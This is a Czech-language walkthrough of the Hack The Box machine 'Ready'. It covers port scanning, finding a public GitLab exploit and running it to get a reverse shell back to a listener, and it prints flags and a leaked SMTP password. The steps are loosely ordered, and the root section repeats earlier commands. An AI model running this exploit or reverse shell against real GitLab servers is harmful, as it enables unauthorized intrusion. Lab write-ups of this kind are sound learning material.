Ready
Úvod a kontext
Na Ready je nejzajímavější, jak se propojí GitLab a únik aplikačních tajemství, nginx a SSH.
Bez pochopení této návaznosti by nedával smysl ani reverse shell přes webovou vrstvu, ani závěrečná lokální enumeraci po získání shellu.
Počáteční průzkum
Vyhledání otevřených portů
Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.
ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT STATE SERVICE VERSION
Detailní analýza služeb
V dalším kroku si zpřesňuji verze služeb a jejich charakteristiky, protože právě z těchto detailů obvykle vzniká rozhodnutí, zda pokračovat přes web, SSH nebo jinou vrstvu.
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
5080/tcp open http nginx
|_http-favicon: Unknown favicon MD5: __CENSORED__
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 53 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/*/edit /users /help
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.10.10.220:5080/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Analýza zjištění
Identifikace a hledání exploitu
Zjišťuji technologii a ověřuji známé zranitelnosti.
searchsploit --id gitlab 11
Identifikace a hledání exploitu (2)
Zjišťuji technologii a ověřuji známé zranitelnosti.
searchsploit -p 49334
netcat -lvp 4444
Získání přístupu
Získání user flagu
User flag zde slouží hlavně jako potvrzení, že už mám běžný uživatelský kontext a mohu pokračovat v lokální analýze systému.
cat user.txt
__CENSORED__
Eskalace oprávnění
Získání root flagu
Tento krok ukazuje, jak se nalezená slabina nebo chyba v delegaci oprávnění mění v privilegovaný přístup.
Následující úsek zachycuje i postup, kterým se potvrzuje privilegovaný přístup a načtení root.txt.
netcat -lvp 4444
python3 /usr/share/exploitdb/exploits/ruby/webapps/49334.py -u tomas -p Aaa12345678! -g http://10.10.10.220 -l 10.10.14.7 -P 4444
cat user.txt
e1e30b052b6ec0670698805d745e7682
cat /root_*
YG65407Bjqvv9A0a8Tm_7w
gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"
Shrnutí klíčových poznatků
- Klíčový posun nepřinesl samotný scan, ale interpretace toho, co znamenaly GitLab a únik aplikačních tajemství, nginx a SSH.
- Uživatelský přístup dává v tomhle řetězci smysl až ve chvíli, kdy vyjde reverse shell přes webovou vrstvu.
- Root/admin část nepřišla zkratkou; klíčovou roli tu hraje lokální enumerace po získání shellu a navazující lokální enumerace.
Co si odnést do praxe
- V tomhle článku se první slabé místo otevřelo přes GitLab a únik aplikačních tajemství, nginx a SSH. Zdrojové repozitáře a jejich pomocné služby musí být oddělené od produkce; únik issue, CI konfigurace nebo secretu z GitLabu často zkrátí celý průzkum.
- Stabilní foothold pak stojí na principu reverse shell přes webovou vrstvu. Jednorázové RCE je potřeba detekovat i na aplikační vrstvě; upload, template injection nebo command injection často vypadají v logu nenápadně, ale vedou ke stabilnímu shellu.
- Pro závěrečnou fázi je podstatné, že rozhodla lokální enumerace po získání shellu. Po získání shellu je rozhodující systematická lokální enumerace; i bez další CVE často rozhodne kombinace špatných oprávnění, reuse tajemství a pomocných skriptů.